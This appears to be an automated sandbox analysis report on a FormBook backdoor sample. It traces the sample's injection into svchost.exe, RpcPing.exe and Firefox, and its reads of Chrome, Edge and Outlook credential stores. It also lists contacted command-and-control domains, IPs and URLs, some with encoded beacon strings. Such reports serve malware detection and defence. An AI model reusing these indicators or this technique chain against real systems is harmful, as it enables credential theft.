Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D483A mov eax, dword ptr fs:[00000030h]	2_2_034D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0345E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_034FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430887 mov eax, dword ptr fs:[00000030h]	2_2_03430887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC89D mov eax, dword ptr fs:[00000030h]	2_2_034BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RpcPing.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread register set: target process: 6424

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread APC queued: target process: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 29EA008

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

0_2_0040D590

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\N2Qncau2rN.exe"	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: auuGcaPMTDojV.exe, 00000003.00000000.1802688702.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000002.4128448538.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000000.1954851803.00000000011C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: N2Qncau2rN.exe, auuGcaPMTDojV.exe, 00000003.00000000.1802688702.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000002.4128448538.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000000.1954851803.00000000011C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: auuGcaPMTDojV.exe, 00000003.00000000.1802688702.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000002.4128448538.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000000.1954851803.00000000011C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: auuGcaPMTDojV.exe, 00000003.00000000.1802688702.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000002.4128448538.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000000.1954851803.00000000011C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: N2Qncau2rN.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\RpcPing.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: N2Qncau2rN.exe	Binary or memory string: WIN_XP
Source: N2Qncau2rN.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: N2Qncau2rN.exe	Binary or memory string: WIN_XPe
Source: N2Qncau2rN.exe	Binary or memory string: WIN_VISTA
Source: N2Qncau2rN.exe	Binary or memory string: WIN_7
Source: N2Qncau2rN.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
N2Qncau2rN.exe	71%	ReversingLabs	Win32.Backdoor.FormBook
N2Qncau2rN.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.palcoconnector.net	208.91.197.27	true	true	unknown
www.broomeorchard.xyz	15.197.204.56	true	true	unknown
promasterev.shop	3.33.130.190	true	true	unknown
wcq24.top	154.23.184.240	true	true	unknown
es-lidl.online	84.32.84.32	true	true	unknown
www.drivedoge.website	195.161.68.8	true	true	unknown
www.demovix.xyz	199.192.19.19	true	true	unknown
animekuid.xyz	203.175.9.128	true	true	unknown
cdl-lb-1356093980.us-east-1.elb.amazonaws.com	3.91.127.116	true	true	unknown
doggieradio.net	3.33.130.190	true	true	unknown
www.torex33.online	194.58.112.174	true	true	unknown
childlesscatlady.today	3.33.130.190	true	true	unknown
www.falconclub.online	74.208.236.25	true	true	unknown
www.shanhaiguan.net	156.242.132.82	true	true	unknown
multileveltravel.world	3.33.130.190	true	true	unknown
www.es-lidl.online	unknown	unknown	true	unknown
www.animekuid.xyz	unknown	unknown	true	unknown
www.mtcep.org	unknown	unknown	true	unknown
www.doggieradio.net	unknown	unknown	true	unknown
www.wcq24.top	unknown	unknown	true	unknown
www.multileveltravel.world	unknown	unknown	true	unknown
www.childlesscatlady.today	unknown	unknown	true	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	unknown
www.wajf.net	unknown	unknown	true	unknown
www.promasterev.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.shanhaiguan.net/b6g5/	true	unknown
http://www.palcoconnector.net/bnrz/	true	unknown
http://www.wajf.net/eoqq/	true	unknown
http://www.shanhaiguan.net/b6g5/?tpTd=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrSmSNv5WmdoflN7m2YOZj8dE3cyj5SIw==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.falconclub.online/sld7/?tpTd=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlziYvx9tC/5P1WJl131MkdoxRdpo/lsw==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.doggieradio.net/szy7/?tpTd=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2jiKrkd/jwL9iqNrnd9yIGgMT9MzICA==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.palcoconnector.net/bnrz/?tpTd=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq48p+wh68NaozaF8Wex7USlPt5ZhMWe3g==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.demovix.xyz/azuc/	true	unknown
